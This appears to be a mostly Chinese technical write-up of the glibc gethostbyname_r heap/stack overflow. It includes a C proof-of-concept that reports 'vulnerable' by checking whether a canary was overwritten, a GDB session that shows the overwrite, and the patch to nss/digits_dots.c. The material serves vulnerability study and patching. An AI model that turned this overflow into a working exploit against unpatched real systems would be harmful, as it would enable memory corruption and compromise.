验证代码:

#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#define CANARY "in_the_coal_mine"
//$1 = {buffer = "buffer", '\0' <repeats 1017 times>, canary = "in_the_coal_mine"}
struct {
    char buffer[1024];
    char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };//这个是将temp赋值

int main(void) {
    struct hostent resbuf;
    struct hostent *result;
    int herrno;
    int retval;

    /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
    size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;     //999 = 1024 -16*1 -2*4 -1   (char * 为指针,在32为中为4字节)
    char name[sizeof(temp.buffer)];//申请一个1024字节的char
    memset(name, '0', len);     // 向name前999字节复制'0'
    name[len] = '\0';           //第999字节为\0


    retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);//调用了这个有漏洞的方法,将name复制到buffer中

    if (strcmp(temp.canary, CANARY) != 0) {         //若canary中的值不等于in_the_coal_mine,则证明有漏洞
        puts("vulnerable");
        exit(EXIT_SUCCESS);
    }
    if (retval == ERANGE) {                         //若返回状态码为ERANGE(表示一个范围错误),则证明漏洞不存在
        puts("not vulnerable");
        exit(EXIT_SUCCESS);
    }
    puts("should not happen");
    exit(EXIT_FAILURE);
}

很明显是存在漏洞的。简单解释一下 PoC,在栈上布置一个区域 temp,由 buffer 和 canary 组成,然后初始化一个 name,最后执行函数 gethostbyname_r(),正常情况下,当把 name+host_addr+h_addr_ptrs+1 复制到 buffer 时,会正好覆盖缓冲区且没有溢出。然而,实际情况并不是这样。

验证:

gcc vunl.c
[root@localhost morty]# ./a.out 
vulnerable

在漏洞代码中,首先我们定义了CANARY, “in_the_coal_mine”,这是我们需要覆盖的目标,之后我们定义了结构体,它包含了两个chunks,这两个chunk将会被glibc的gethostbyname_r方法覆盖掉,替换成CANARY的值,第一个chunk叫buffer它的大小是1024字节,它将被gethostbyname_r方法的“buflen”参数溢出掉,紧跟着buffer chunk的是canary chunk,从buffer溢出的字节被放到了canary chunk中, Now that we have defined our struct representing the buffer for gethostname_r, the name char array is being initialized with 999 bytes of ASCII ‘0’ / HEX 0x30.

函数 gethostbyname_r() 在 include/netdb.h 中定义如下:

struct hostent {
    char  *h_name;            /* official name of host */
    char **h_aliases;         /* alias list */
    int    h_addrtype;        /* host address type */
    int    h_length;          /* length of address */
    char **h_addr_list;       /* list of addresses */
}
#define h_addr h_addr_list[0] /* for backward compatibility */

int gethostbyname_r(const char *name,
        struct hostent *ret, char *buf, size_t buflen,
        struct hostent **result, int *h_errnop);
  • name:The name of the Internet host whose entry you want to find.
  • ret:A pointer to a struct hostent where the function can store the host entry.
  • buf:A pointer to a buffer that the function can use during the operation to store host database entries; buffer should be large enough to hold all of the data associated with the host entry. A 2K buffer is usually more than enough; a 256-byte buffer is safe in most cases.
  • buflen:The length of the area pointed to by buffer.
  • result:A pointer to a struct hostent where the function can store the host entry.
  • h_errnop:A pointer to a location where the function can store an herrno value if an error occurs.

gdb开始调试

gdb -q a.out 
(gdb) b main
Breakpoint 1 at 0x80484b8: file vunl.c, line 21.
(gdb) set disassembly-flavor intel
(gdb) r
Starting program: /home/morty/a.out 

Breakpoint 1, main () at vunl.c:21
21	    size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
Missing separate debuginfos, use: debuginfo-install glibc.i686
(gdb) disass main
Dump of assembler code for function main:
0x080484a4 <main+0>:	lea    ecx,[esp+0x4]
0x080484a8 <main+4>:	and    esp,0xfffffff0
0x080484ab <main+7>:	push   DWORD PTR [ecx-0x4]
0x080484ae <main+10>:	push   ebp
0x080484af <main+11>:	mov    ebp,esp
0x080484b1 <main+13>:	push   ecx
0x080484b2 <main+14>:	sub    esp,0x454
0x080484b8 <main+20>:	mov    DWORD PTR [ebp-0x8],0x3e7
0x080484bf <main+27>:	mov    eax,DWORD PTR [ebp-0x8]
0x080484c2 <main+30>:	mov    DWORD PTR [esp+0x8],eax
0x080484c6 <main+34>:	mov    DWORD PTR [esp+0x4],0x30
0x080484ce <main+42>:	lea    eax,[ebp-0x428]
0x080484d4 <main+48>:	mov    DWORD PTR [esp],eax
0x080484d7 <main+51>:	call   0x8048388 <memset@plt>
0x080484dc <main+56>:	mov    eax,DWORD PTR [ebp-0x8]
0x080484df <main+59>:	mov    BYTE PTR [ebp+eax*1-0x428],0x0
0x080484e7 <main+67>:	lea    eax,[ebp-0x28]
0x080484ea <main+70>:	mov    DWORD PTR [esp+0x14],eax
0x080484ee <main+74>:	lea    eax,[ebp-0x24]
0x080484f1 <main+77>:	mov    DWORD PTR [esp+0x10],eax
0x080484f5 <main+81>:	mov    DWORD PTR [esp+0xc],0x400
0x080484fd <main+89>:	mov    DWORD PTR [esp+0x8],0x8049840
0x08048505 <main+97>:	lea    eax,[ebp-0x20]
0x08048508 <main+100>:	mov    DWORD PTR [esp+0x4],eax
0x0804850c <main+104>:	lea    eax,[ebp-0x428]
0x08048512 <main+110>:	mov    DWORD PTR [esp],eax
0x08048515 <main+113>:	call   0x80483a8 <gethostbyname_r@plt>
0x0804851a <main+118>:	mov    DWORD PTR [ebp-0xc],eax
0x0804851d <main+121>:	mov    DWORD PTR [esp+0x4],0x8048654
0x08048525 <main+129>:	mov    DWORD PTR [esp],0x8049c40
0x0804852c <main+136>:	call   0x80483c8 <strcmp@plt>
0x08048531 <main+141>:	test   eax,eax
0x08048533 <main+143>:	je     0x804854d <main+169>
0x08048535 <main+145>:	mov    DWORD PTR [esp],0x8048665
---Type <return> to continue, or q <return> to quit---

(gdb) b *main+113
Breakpoint 2 at 0x8048515: file vunl.c, line 26.
(gdb) c
Continuing.

Breakpoint 2, 0x08048515 in main () at vunl.c:26
26	    retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);

查看temp

(gdb) print temp
$1 = {buffer = "buffer", '\0' <repeats 1017 times>, canary = "in_the_coal_mine"}
(gdb) p &temp
$2 = (struct {...} *) 0x8049840

(gdb) x/1024s 0x8049840
0x8049840 <temp>:	 "buffer"
0x8049847 <temp+7>:	 ""
0x8049848 <temp+8>:	 ""
0x8049849 <temp+9>:	 ""
0x804984a <temp+10>:	 ""
0x804984b <temp+11>:	 ""
...
...
...
0x8049c3d <temp+1021>:	 ""
0x8049c3e <temp+1022>:	 ""
0x8049c3f <temp+1023>:	 ""
0x8049c40 <temp+1024>:	 "in_the_coal_mine"
0x8049c51:	 ""
0x8049c52:	 ""
0x8049c53:	 ""
0x8049c54 <completed.5699>:	 ""
0x8049c55:	 ""

我们的程序中temp有两个buffer:“buffer”和“canary”,buffer的内容包括buffer的名字“buffer”6 bytes+ 1017 bytes 的 ‘0’ + null terminating byte = 1024 bytes,CANARY的位置在0x8049c40,并且在temp结构体中,初始值为 “in_the_coal_mine”

现在我们再运行一行指令,使gethostbyname_r方法被调用,然后再查看temp struct

(gdb) ni
(gdb) x/3s 0x8049c40
0x8049c40 <temp+1024>:	 "000"
0x8049c44 <temp+1028>:	 "he_coal_mine"
0x8049c51:	 ""

我们看到CANARY的值被覆盖掉了

打补丁

漏洞代码的位置在nss/digits_dots.c补丁的内容是给size_needed增加了4字节的空间

vi nss/digits_dots.c

From this:
  105:  size_needed = (sizeof (*host_addr)
		+ sizeof (*h_addr_ptrs) + strlen (name) + 1);

  277:  size_needed = (sizeof (*host_addr)
		+ sizeof (*h_addr_ptrs) + strlen (name) + 1);

To this:
  105:  size_needed = (sizeof (*host_addr)
		+ sizeof (*h_addr_ptrs) + strlen (name)
		+ sizeof (*h_alias_ptr) + 1);

  277:  size_needed = (sizeof (*host_addr)
		+ sizeof (*h_addr_ptrs) + strlen (name)
		+ sizeof (*h_alias_ptr) + 1);

This adds the 4 missed bytes that cause the overflow from the first chunk to the next chunk. Now if we add this to the calculation of the “size_t len” from the above PoC code, instead of 999 bytes the name char array buffer will be 995 and the overflow will not work.